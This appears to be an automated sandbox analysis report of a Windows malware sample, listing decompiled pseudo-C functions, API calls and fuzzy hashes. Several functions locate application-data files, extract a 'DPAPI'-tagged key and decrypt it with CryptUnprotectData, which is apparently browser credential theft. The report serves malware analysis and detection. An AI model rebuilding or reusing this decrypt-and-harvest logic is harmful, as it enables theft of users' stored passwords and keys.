				_t285 =  *0x41fb68; // 0x8b2c38
				_t351 =  *0x41fa74; // 0x8ab090
				E0040A070(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16); // executed
				_t287 =  *0x41fd6c; // 0x8b4388
				_t353 =  *0x41facc; // 0x8ab1e0
				E00409F50(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16); // executed
				_t289 =  *0x41fafc; // 0x8b2c28
				_t355 =  *0x41f874; // 0x8af118
				E0040A180(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16); // executed
				_t291 =  *0x41fa98; // 0x8b43e8
				_t357 =  *0x41fdc8; // 0x8ab210
				E0040A180(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16); // executed
				_t293 =  *0x41f7d0; // 0x8b43a0
				_t359 =  *0x41feac; // 0x8a91e8
				E0040A180(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16); // executed
				_t295 =  *0x41fb7c; // 0x8b4580
				_t361 =  *0x41f9d4; // 0x8b3958
				E0040A180(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16); // executed
				_t297 =  *0x41fa48; // 0x8b4598
				_t363 =  *0x41ff88; // 0x8ab270
				E0040A180(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16); // executed
				_t299 =  *0x41fd28; // 0x8b45b0
				_t365 =  *0x41faf8; // 0x8a8ff0
				E0040A180(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16); // executed
				_t301 =  *0x41f810; // 0x8b2b18
				_t367 =  *0x41f880; // 0x8af050
				E0040A180(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16); // executed
				_t303 =  *0x41f99c; // 0x8b2bf8
				_t369 =  *0x41fe84; // 0x8b45f8
				E0040A180(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16); // executed
				_t304 =  *0x41f9cc; // 0x8b4610
				_t370 =  *0x41fc30; // 0x8b39d8
				E0040A180(_t304, _t407, _t370, _t304, _a4, 0, 0, 0); // executed
				E00406760();
				_t233 =  *0x41ffe0; // 0x0
				_t234 =  *0x42009c(_t233);
				_t305 =  *0x41ffe0; // 0x0
				_t371 =  *0x41fe08; // 0x8b45c8
				E004133B0(_a4, _t371, _t305, _t234);
				E0040B2C0(0x41ffe0, 4); // executed
				E00406D10(); // executed
				return E00406D30();
			}

0x0040a260
0x0040a271
0x0040a277
0x0040a27c
0x0040a281
0x0040a29b
0x0040a2a2
0x0040a2a9
0x0040a2c1
0x0040a2c8
0x0040a2cf
0x0040a2e7
0x0040a2ee
0x0040a2f5
0x0040a30d
0x0040a314
0x0040a31b
0x0040a333
0x0040a33a
0x0040a341
0x0040a359
0x0040a360
0x0040a367
0x0040a37f
0x0040a386
0x0040a38d
0x0040a3a5
0x0040a3ac
0x0040a3b3
0x0040a3cb
0x0040a3d2
0x0040a3d9
0x0040a3f1
0x0040a3f8
0x0040a3ff
0x0040a417
0x0040a41e
0x0040a425
0x0040a43d
0x0040a444
0x0040a44b
0x0040a463
0x0040a46a
0x0040a471
0x0040a489
0x0040a490
0x0040a497
0x0040a4af
0x0040a4b6
0x0040a4bd
0x0040a4d5
0x0040a4dc
0x0040a4e3
0x0040a4fb
0x0040a502
0x0040a509
0x0040a521
0x0040a528
0x0040a52f
0x0040a547
0x0040a54e
0x0040a555
0x0040a56d
0x0040a574
0x0040a57b
0x0040a593
0x0040a59a
0x0040a5a1
0x0040a5b9
0x0040a5c0
0x0040a5c7
0x0040a5df
0x0040a5e6
0x0040a5ed
0x0040a605
0x0040a60c
0x0040a613
0x0040a62b
0x0040a632
0x0040a639
0x0040a651
0x0040a658
0x0040a65f
0x0040a677
0x0040a67e
0x0040a685
0x0040a69d
0x0040a6a4
0x0040a6ab
0x0040a6c3
0x0040a6ca
0x0040a6d1
0x0040a6e9
0x0040a6f0
0x0040a6f7
0x0040a70f
0x0040a716
0x0040a71d
0x0040a735
0x0040a73c
0x0040a743
0x0040a755
0x0040a75c
0x0040a763
0x0040a76b
0x0040a770
0x0040a776
0x0040a77d
0x0040a784
0x0040a78f
0x0040a79e
0x0040a7a3
0x0040a7ae

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A26A
RtlAllocateHeap.NTDLL(00000000,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A271

Part of subcall function 00406C20: LoadLibraryA.KERNEL32(008AF6E0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C29
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B41C0), ref: 00406C4F
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B3BB8), ref: 00406C67
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B4460), ref: 00406C7F
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B3AB8), ref: 00406C98
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B3AF8), ref: 00406CB0
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B4220), ref: 00406CC8
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B3BD8), ref: 00406CE1
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,008B3C98), ref: 00406CF9

Part of subcall function 00409F50: lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00409F94
Part of subcall function 00409F50: lstrcatA.KERNEL32(?,?,?,00000104), ref: 00409FB9
Part of subcall function 00409F50: lstrcatA.KERNEL32(?,008B4490), ref: 00409FCD

Part of subcall function 0040A070: lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0040A0B4
Part of subcall function 0040A070: lstrcatA.KERNEL32(?,?,?,00000104), ref: 0040A0D9
Part of subcall function 0040A070: lstrcatA.KERNEL32(?,008B4490), ref: 0040A0ED

Part of subcall function 0040A180: lstrcatA.KERNEL32(?,00000001,?,00000104), ref: 0040A1C7
Part of subcall function 0040A180: lstrcatA.KERNEL32(?,?), ref: 0040A1DB
Part of subcall function 0040A180: lstrcatA.KERNEL32(?,008B4358), ref: 0040A1EF

Part of subcall function 00406760: _memset.LIBCMT ref: 00406783
Part of subcall function 00406760: _memset.LIBCMT ref: 00406799
Part of subcall function 00406760: GetVersionExA.KERNEL32(00000094), ref: 004067B2
Part of subcall function 00406760: LoadLibraryA.KERNEL32(008B3030), ref: 00406820

lstrlen.KERNEL32(00000000), ref: 0040A776

Part of subcall function 00406D10: FreeLibrary.KERNEL32(60900000,?,0040A7A8,0041FFE0,00000004), ref: 00406D19

Part of subcall function 00406D30: FreeLibrary.KERNEL32(00000000,?,0040A7AD,0041FFE0,00000004), ref: 00406D39

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad_memset$AllocateProcessVersionlstrlen
String ID:
API String ID: 4282232029-0
Opcode ID: 7b99b0eeaad07a6e78fbf8b6c4712967c4fd403770bf18ad12f674c75201e5f2
Instruction ID: 87fcfe0e72b7e5b52f55e06ad2e3bb9014ecdc5ffcdabf9107b1acc6a79c942f
Opcode Fuzzy Hash: 7b99b0eeaad07a6e78fbf8b6c4712967c4fd403770bf18ad12f674c75201e5f2
Instruction Fuzzy Hash: AC02D8B6614109BBC744EF9CEC91DAB33BDAB8C304B44C12CBA0DD7255D634E916CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405C80, Relevance: 4.7, APIs: 3, Instructions: 154
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C80(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				intOrPtr _t45;
				intOrPtr* _t46;
				intOrPtr _t49;
				intOrPtr* _t50;
				intOrPtr _t53;
				intOrPtr* _t54;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr _t62;
				char _t73;
				void* _t74;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t115;

				_t100 = __edi;
				_t74 = __ebx;
				E0040B2C0( &_v540, 0x104);
				E0040B2C0( &_v276, 0x104);
				_t43 =  *0x41f9b0; // 0x8b2928
				_t77 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t102 = _t101 + 0xc;
				_t120 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413300(0, 0x6400000, 0);
					_t102 = _t102 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BCA0(_t77, _t120, 0x1a); // executed
				_t46 =  *0x41fd20; // 0x8b28e0
				E0040BC50(_a12,  &_v276, E0040BBA0(_a12, _t46, _t45));
				_t49 = E0040BCA0(_a12, _t120, 0x1c);
				_t50 =  *0x41fcc4; // 0x8b2940
				E0040BC50( &_v276,  &_v276, E0040BBA0( &_v276, _t50, _t49));
				_t53 = E0040BCA0( &_v276, _t120, 0x28);
				_t54 =  *0x41faa4; // 0x8b2760
				E0040BC50( &_v276,  &_v276, E0040BBA0( &_v276, _t54, _t53));
				_t57 = E0040BCA0( &_v276, _t120, 0x10); // executed
				_t58 =  *0x41fc40; // 0x8b28f8
				E0040BC50( &_v276,  &_v276, E0040BBA0( &_v276, _t58, _t57));
				_t62 = E00413451(_t74,  &_v276, _t100, _a16, ",",  &_v548);
				_t115 = _t102 + 0x6c;
				_v544 = _t62;
				while(1) {
					_t121 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405990(_t74, _t100, _t121, _a4, _v8, 0x4187ce,  &_v276, _v544, _a20, _a8, _a28, _a32); // executed
					_t62 = E00413451(_t74, _v8, _t100, 0, ",",  &_v548);
					_t115 = _t115 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E004133D0(_v8,  &_v552,  &_v556);
					E004133B0(_a24,  &_v540, _v552, _v556);
					return E0040B2C0( &_v8, 4);
				}
				return _t62;
			}

0x00405c80
0x00405c80
0x00405c95
0x00405ca6
0x00405caf
0x00405cb5
0x00405cbc
0x00405cc2
0x00405cc5
0x00405cc9
0x00405ce4
0x00405ccb
0x00405cd4
0x00405cd9
0x00405cdc
0x00405cdc
0x00405ce9
0x00405cf2
0x00405d0c
0x00405d16
0x00405d1f
0x00405d3c
0x00405d46
0x00405d4f
0x00405d6c
0x00405d76
0x00405d7f
0x00405d9c
0x00405db4
0x00405db9
0x00405dbc
0x00405dc2
0x00405dc2
0x00405dc9
0x00000000
0x00000000
0x00405df6
0x00405e0c
0x00405e11
0x00405e14
0x00405e14
0x00405e1c
0x00405e20
0x00405e34
0x00405e55
0x00000000
0x00405e63
0x00405e6b

APIs

wsprintfA.USER32 ref: 00405CBC
_strtok_s.LIBCMT ref: 00405DB4
_strtok_s.LIBCMT ref: 00405E0C

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _strtok_s$wsprintf
String ID:
API String ID: 629977985-0
Opcode ID: eb197e98d2e19060f5987d762276a8ba4db074c9195c3259ab2cbce61f4d3040
Instruction ID: ee9e13e9de76086adea6779e2b397eaac68ac1996e4dde45a6a6be369f26ee90
Opcode Fuzzy Hash: eb197e98d2e19060f5987d762276a8ba4db074c9195c3259ab2cbce61f4d3040
Instruction Fuzzy Hash: 225179F6D4010CABD714EF94DC46FDB7378AB58304F0445ADB609A2181EB78AB848FE9

Uniqueness

Uniqueness Score: -1.00%

Function 00407250, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00407250(CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				char _v12;
				char _v16;
				char* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				void* _t32;
				char* _t35;
				void* _t45;
				char* _t57;
				intOrPtr _t58;

				_v44 = 0;
				_t32 = E00406F40(_a4,  &_v40,  &_v16); // executed
				if(_t32 != 0) {
					_t35 = E0040B6A0(_v40, _v16); // executed
					_v8 = _t35;
					if(_v8 != 0) {
						_t57 =  *0x41f838; // 0x8b4430
						_v20 = StrStrA(_v8, _t57);
						if(_v20 != 0) {
							_v20 = _v20 + 0x10;
							_t58 =  *0x41fb40; // 0x8b2c98
							_v48 = E0040B5C0(_v20, _t58);
							if(E00407030( &_v24, _v48,  &_v32,  &_v24) != 0 && _v24 >= 5) {
								asm("repe cmpsb");
								if(0 == 0) {
									_t45 = E004070D0(_v32 + 5, _v24 - 5,  &_v28,  &_v12); // executed
									if(_t45 != 0 && _v12 == 0x20) {
										_v44 = 1;
										E004071A0(_v28, _a8, _a12); // executed
									}
								}
							}
						}
					}
				}
				return _v44;
			}

0x00407258
0x0040726b
0x00407275
0x00407283
0x0040728b
0x00407292
0x00407298
0x004072a9
0x004072b0
0x004072bc
0x004072bf
0x004072d2
0x004072eb
0x00407302
0x00407304
0x0040731c
0x00407326
0x0040732e
0x00407341
0x00407346
0x00407326
0x00407304
0x004072eb
0x004072b0
0x00407292
0x00407351

APIs

Part of subcall function 00406F40: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00407270,00000000,?), ref: 00406F67
Part of subcall function 00406F40: GetFileSizeEx.KERNEL32(000000FF,pr@,?,00407270,00000000,?), ref: 00406F8C
Part of subcall function 00406F40: LocalAlloc.KERNEL32(00000040,?,?,00407270), ref: 00406FAC
Part of subcall function 00406F40: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00407270), ref: 00406FD5
Part of subcall function 00406F40: LocalFree.KERNEL32(?), ref: 0040700B
Part of subcall function 00406F40: FindCloseChangeNotification.KERNEL32(000000FF,?,00407270,00000000,?), ref: 00407015

Part of subcall function 0040B6A0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040B6C2

StrStrA.SHLWAPI(00000000,008B4430), ref: 004072A3

Part of subcall function 00407030: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,r@,00000000,00000000), ref: 0040705F
Part of subcall function 00407030: LocalAlloc.KERNEL32(00000040,?,?,004072E6,?,?), ref: 00407071
Part of subcall function 00407030: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,r@,00000000,00000000), ref: 0040709A
Part of subcall function 00407030: LocalFree.KERNEL32(?,?,?,004072E6,?,?), ref: 004070AF

Part of subcall function 004070D0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004070F4
Part of subcall function 004070D0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00407113
Part of subcall function 004070D0: LocalFree.KERNEL32(?), ref: 0040713F

Strings

DPAPI, xrefs: 004072F8
, xrefs: 00407328

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotect
String ID: $DPAPI
API String ID: 319386116-1819349886
Opcode ID: 3ef7fda9934471ad1c0e78e08692ee0455eb72105c8ac9f6b440f7afc590bf91
Instruction ID: 36b1f98f3cd813338aba339821fa15c7d7e8dd8363c8d713b6bbbdaba2123cb7
Opcode Fuzzy Hash: 3ef7fda9934471ad1c0e78e08692ee0455eb72105c8ac9f6b440f7afc590bf91
Instruction Fuzzy Hash: F9312372D04109ABDB04DBD9DC45AEFB7B9AF48304F04852AE905F7281E738B945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409F50, Relevance: 4.6, APIs: 3, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409F50(void* __ecx, void* __eflags, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t40;
				void* _t50;
				CHAR* _t55;
				void* _t71;
				void* _t73;

				_v12 = 0;
				_v8 = 0;
				E0040B2C0( &_v276, 0x104);
				E0040B3A0( &_v276,  &_v276, 0x1c); // executed
				lstrcatA( &_v276, _a4);
				E0040B2C0( &_v540, 0x104);
				lstrcatA( &_v540,  &_v276);
				_t55 =  *0x41fef4; // 0x8b4490
				lstrcatA( &_v540, _t55);
				_t40 = E0040B710( &_v540); // executed
				_t73 = _t71 + 0xc;
				if(_t40 != 0) {
					_t50 = E00407250( &_v540,  &_v12,  &_v8); // executed
					_t73 = _t73 + 0xc;
					if(_t50 == 0) {
						E00407150( &_v12,  &_v8);
						_t73 = _t73 + 8;
					}
				}
				E00408360(0x4187ce,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				E00409940( &_v276, _a8, _a12); // executed
				return E00407150( &_v12,  &_v8);
			}

0x00409f59
0x00409f60
0x00409f73
0x00409f81
0x00409f94
0x00409fa6
0x00409fb9
0x00409fbf
0x00409fcd
0x00409fda
0x00409fdf
0x00409fe4
0x00409ff5
0x00409ffa
0x00409fff
0x0040a009
0x0040a00e
0x0040a00e
0x00409fff
0x0040a039
0x0040a050
0x0040a06b

APIs

Part of subcall function 0040B3A0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,00409F86,?,0000001C,?,00000104), ref: 0040B3C4

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00409F94
lstrcatA.KERNEL32(?,?,?,00000104), ref: 00409FB9
lstrcatA.KERNEL32(?,008B4490), ref: 00409FCD

Part of subcall function 0040B710: GetFileAttributesA.KERNEL32(?,?,?,00409FDF,?), ref: 0040B71A

Part of subcall function 00407250: StrStrA.SHLWAPI(00000000,008B4430), ref: 004072A3

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID:
API String ID: 4178457443-0
Opcode ID: ec3460ac3ea0ef123a6105e69c460ff5db91c7d16727e5346cbbb93ccb12d223
Instruction ID: bb26adfc69b6beea830bee1584501e40986ba12c59a97e7d0957c661e94a07b0
Opcode Fuzzy Hash: ec3460ac3ea0ef123a6105e69c460ff5db91c7d16727e5346cbbb93ccb12d223
Instruction Fuzzy Hash: 243143B6D0020CABCB15DFD4DC86EDE737CAB58304F0445ADB605A7181EB74AB94CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A070, Relevance: 4.6, APIs: 3, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A070(void* __ecx, void* __eflags, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t37;
				void* _t45;
				CHAR* _t50;
				void* _t64;
				void* _t66;

				_v12 = 0;
				_v8 = 0;
				E0040B2C0( &_v276, 0x104);
				E0040B3A0( &_v276,  &_v276, 0x1a); // executed
				lstrcatA( &_v276, _a4);
				E0040B2C0( &_v540, 0x104);
				lstrcatA( &_v540,  &_v276);
				_t50 =  *0x41fef4; // 0x8b4490
				lstrcatA( &_v540, _t50);
				_t37 = E0040B710( &_v540); // executed
				_t66 = _t64 + 0xc;
				if(_t37 != 0) {
					_t45 = E00407250( &_v540,  &_v12,  &_v8);
					_t66 = _t66 + 0xc;
					if(_t45 == 0) {
						E00407150( &_v12,  &_v8);
						_t66 = _t66 + 8;
					}
				}
				E00408360(0x4187ce,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				return E00407150( &_v12,  &_v8);
			}

0x0040a079
0x0040a080
0x0040a093
0x0040a0a1
0x0040a0b4
0x0040a0c6
0x0040a0d9
0x0040a0df
0x0040a0ed
0x0040a0fa
0x0040a0ff
0x0040a104
0x0040a115
0x0040a11a
0x0040a11f
0x0040a129
0x0040a12e
0x0040a12e
0x0040a11f
0x0040a159
0x0040a174

APIs

Part of subcall function 0040B3A0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,00409F86,?,0000001C,?,00000104), ref: 0040B3C4

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0040A0B4
lstrcatA.KERNEL32(?,?,?,00000104), ref: 0040A0D9
lstrcatA.KERNEL32(?,008B4490), ref: 0040A0ED

Part of subcall function 0040B710: GetFileAttributesA.KERNEL32(?,?,?,00409FDF,?), ref: 0040B71A

Part of subcall function 00407250: StrStrA.SHLWAPI(00000000,008B4430), ref: 004072A3

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID:
API String ID: 4178457443-0
Opcode ID: b40282464a79fba89dfbb2a7eb9ca4fc405d7a8e5cba793566ba21d4cc20db14
Instruction ID: 839a44eaffcdf844ef1c0e8c8c69c32a253509a02aa50cd22e1b4a041f2ba1f4
Opcode Fuzzy Hash: b40282464a79fba89dfbb2a7eb9ca4fc405d7a8e5cba793566ba21d4cc20db14
Instruction Fuzzy Hash: B13134B6D0020CABCB15DFD4DC86EDE737CAB58304F0445ADB605A7181E774A7988BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A180, Relevance: 4.6, APIs: 3, Instructions: 63
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A180(void* __ecx, void* __eflags, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24) {
				char _v268;
				char _v532;
				void* _t26;
				CHAR* _t35;
				intOrPtr _t38;
				void* _t44;
				void* _t46;

				E0040B2C0( &_v532, 0x104);
				E0040B2C0( &_v268, 0x104);
				E0040B3A0( &_v268,  &_v532, 0x1a); // executed
				lstrcatA( &_v532, _a4);
				lstrcatA( &_v268,  &_v532);
				_t35 =  *0x41f9c0; // 0x8b4358
				lstrcatA( &_v268, _t35);
				_t26 = E0040B710( &_v268); // executed
				_t46 = _t44 + 0xc;
				if(_t26 != 0) {
					if( *0x41ffe4 == 0) {
						E00405060(_t35);
						 *0x41ffe4 = 1;
						_t38 =  *0x41fe50; // 0x8b4280
						E004074C0(_t38);
						_t46 = _t46 + 4;
					}
					return E00409260(0x4187ce,  &_v532, _a8, _a12, _a16, _a20, _a24);
				}
				return _t26;
			}

0x0040a195
0x0040a1a6
0x0040a1b4
0x0040a1c7
0x0040a1db
0x0040a1e1
0x0040a1ef
0x0040a1fc
0x0040a201
0x0040a206
0x0040a20f
0x0040a211
0x0040a216
0x0040a220
0x0040a227
0x0040a22c
0x0040a22c
0x00000000
0x0040a254
0x0040a25a

APIs

Part of subcall function 0040B3A0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,00409F86,?,0000001C,?,00000104), ref: 0040B3C4

lstrcatA.KERNEL32(?,00000001,?,00000104), ref: 0040A1C7
lstrcatA.KERNEL32(?,?), ref: 0040A1DB
lstrcatA.KERNEL32(?,008B4358), ref: 0040A1EF

Part of subcall function 0040B710: GetFileAttributesA.KERNEL32(?,?,?,00409FDF,?), ref: 0040B71A

Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AE9D8,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004050DC
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AC460), ref: 004050F0
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008B27D8), ref: 00405104
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AE9D8), ref: 00405117
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AC460), ref: 0040512B
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008B26A0), ref: 0040513F
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AE9D8), ref: 00405152
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AC460), ref: 00405166
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008B26B8), ref: 0040517A
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AE9D8), ref: 0040518D
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AC460), ref: 004051A1
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008B27F0), ref: 004051B5
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AE9D8), ref: 004051C8
Part of subcall function 00405060: lstrcatA.KERNEL32(?,008AC460), ref: 004051DC

Part of subcall function 004074C0: getenv.MSVCRT ref: 004074D6
Part of subcall function 004074C0: _putenv.MSVCRT ref: 00407518
Part of subcall function 004074C0: LoadLibraryA.KERNEL32(008AC480), ref: 0040753A
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,008B4400), ref: 0040755F
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,008B44A8), ref: 00407578
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,008B3AD8), ref: 00407590
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,008B41D8), ref: 004075A8
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,008B3D98), ref: 004075C1
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,008B4340), ref: 004075D9

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AddressProc$AttributesFileFolderLibraryLoadPath_putenvgetenv
String ID:
API String ID: 2115538314-0
Opcode ID: 9a691fc7078de1cece8442e5add29220a4dc6ad915fc7b756f28226ff49b3f0d
Instruction ID: 74a8d89b5574ee7ce7e5c3efbc4690f25d6a03232d8e4bfccd73cdbced759180
Opcode Fuzzy Hash: 9a691fc7078de1cece8442e5add29220a4dc6ad915fc7b756f28226ff49b3f0d
Instruction Fuzzy Hash: F2218BB694020CABCB10EFA0DC85FEB3378AB54304F0445BEB51953191EBB5A595CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00413210, Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413210(void* __ecx, signed int _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t29;
				intOrPtr _t31;

				_t29 = E0040B130(__ecx, 0x4098); // executed
				_v16 = _t29;
				if(_v16 == 0) {
					_v32 = 0;
				} else {
					_v32 = E00411540(_v16, _a16);
				}
				_v8 = _v32;
				_t43 = _v8;
				_t31 = E00411700(_v8, _a4, _a8, _a12); // executed
				 *0x420404 = _t31;
				if( *0x420404 == 0) {
					_v28 = E0040B130(_t43, 8);
					_v12 = _v28;
					 *_v12 = 2;
					 *((intOrPtr*)(_v12 + 4)) = _v8;
					return _v12;
				} else {
					_v24 = _v8;
					_v20 = _v24;
					if(_v20 == 0) {
						_v36 = 0;
					} else {
						_v36 = E004132D0(_v20, 1);
					}
					return 0;
				}
			}

0x0041321b
0x00413223
0x0041322a
0x0041323d
0x0041322c
0x00413238
0x00413238
0x00413247
0x00413256
0x00413259
0x0041325e
0x0041326a
0x004132a2
0x004132a8
0x004132ae
0x004132ba
0x00000000
0x0041326c
0x0041326f
0x00413275
0x0041327c
0x0041328d
0x0041327e
0x00413288
0x00413288
0x00000000
0x00413294

APIs

new[].LIBCMTD ref: 0041321B
codecvt.LIBCPMTD ref: 00413283

Part of subcall function 00411540: new[].LIBCMTD ref: 00411614

new[].LIBCMTD ref: 0041329A

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: new[]$codecvt
String ID:
API String ID: 1685477457-0
Opcode ID: 6e75d96515968a0aefe2aeca04a664c4888b749f435511af428145f708735b26
Instruction ID: b4d50474376dac6433a2e3351cac86d73770d453fc0a9dba28e99bc0b97edd9a
Opcode Fuzzy Hash: 6e75d96515968a0aefe2aeca04a664c4888b749f435511af428145f708735b26
Instruction Fuzzy Hash: CA212CB4D00209EFDB04EF94D845BEEB7B1BB48304F1081AAE515B7391D7785A81CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B4F0, Relevance: 4.5, APIs: 3, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B4F0(long _a4) {
				void* _v8;
				char _v276;

				_v8 = OpenProcess(0x410, 0, _a4);
				if(_v8 != 0) {
					 *0x4201d8(_v8, 0,  &_v276, 0x104); // executed
					CloseHandle(_v8);
				}
				return  &_v276;
			}

0x0040b50a
0x0040b511
0x0040b525
0x0040b52f
0x0040b52f
0x0040b53e

APIs

OpenProcess.KERNEL32(00000410,00000000,00406314), ref: 0040B504
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B525
CloseHandle.KERNEL32(00000000), ref: 0040B52F

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: a78116e8452a45608837de7cf8832c69e360243a963a09f2add7c19a03e75176
Instruction ID: 2709f9cc15de05ef4316bff112cf45fce966fde0802989cdfb64b4f329e08760
Opcode Fuzzy Hash: a78116e8452a45608837de7cf8832c69e360243a963a09f2add7c19a03e75176
